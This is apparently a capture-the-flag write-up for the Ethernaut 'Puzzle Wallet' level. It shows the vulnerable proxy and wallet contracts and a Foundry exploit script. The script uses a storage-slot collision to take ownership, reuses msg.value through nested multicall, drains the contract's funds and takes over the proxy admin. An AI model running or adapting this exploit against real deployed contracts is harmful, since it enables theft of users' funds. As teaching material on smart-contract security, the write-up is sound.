Level 24 - Puzzle Wallet ⏺⏺⏺⏺
Level Setup
Level Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "../helpers/UpgradeableProxy-08.sol";
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;
constructor(address _admin, address _implementation, bytes memory _initData)
UpgradeableProxy(_implementation, _initData)
{
admin = _admin;
}
modifier onlyAdmin() {
require(msg.sender == admin, "Caller is not the admin");
_;
}
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}
function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}
contract PuzzleWallet {
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
modifier onlyWhitelisted() {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] += msg.value;
}
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success,) = to.call{value: value}(data);
require(success, "Execution failed");
}
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success,) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}
Exploit
make anvil-exploit-level-1
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";
// ================================================================
// │ LEVEL 24 - PUZZLE WALLET │
// ================================================================
interface IPuzzleProxy {
function proposeNewAdmin(address _newAdmin) external;
}
interface IPuzzleWallet {
function addToWhitelist(address addr) external;
function setMaxBalance(uint256 _maxBalance) external;
function multicall(bytes[] calldata data) external payable;
function deposit() external payable;
function execute(address to, uint256 value, bytes calldata data) external payable;
}
contract Exploit is Script, HelperFunctions {
function run() public {
address targetContractAddress = getInstanceAddress();
IPuzzleProxy puzzleProxy = IPuzzleProxy(targetContractAddress);
IPuzzleWallet puzzleWallet = IPuzzleWallet(targetContractAddress);
vm.startBroadcast();
// Make msg.sender the owner of the PuzzleWallet
// contract by calling proposeNewAdmin on the PuzzleProxy contract
puzzleProxy.proposeNewAdmin(msg.sender);
// Add msg.sender address to the whitelist
puzzleWallet.addToWhitelist(msg.sender);
// Build multicall payload
// - Call deposit twice in two separate multicalls wrapped inside a single multicall
//
// multicall
// |
// -----------------
// | |
// multicall multicall
// | |
// deposit deposit
// Add the deposit function to a bytes array for the multicall payload
bytes[] memory depositDataArray = new bytes[](1);
depositDataArray[0] = abi.encodeWithSelector(puzzleWallet.deposit.selector);
// Create a single multicall payload with two multicall payloads which each call the deposit function
bytes[] memory multicallPayload = new bytes[](2);
multicallPayload[0] = abi.encodeWithSelector(puzzleWallet.multicall.selector, depositDataArray);
multicallPayload[1] = abi.encodeWithSelector(puzzleWallet.multicall.selector, depositDataArray);
uint256 balance = address(puzzleProxy).balance;
// Call multicall to deposit twice with the same value
puzzleWallet.multicall{value: balance}(multicallPayload);
// Drain the contract by draining twice the balance that was deposited
puzzleWallet.execute(msg.sender, balance * 2, abi.encode(0x0));
// Set max balance to msg.sender address to set PuzzleProxy admin to msg.sender
puzzleWallet.setMaxBalance(uint256(uint160(address(msg.sender))));
vm.stopBroadcast();
}
}
Submit instance... 🥳
Completion Message
Notes
Last updated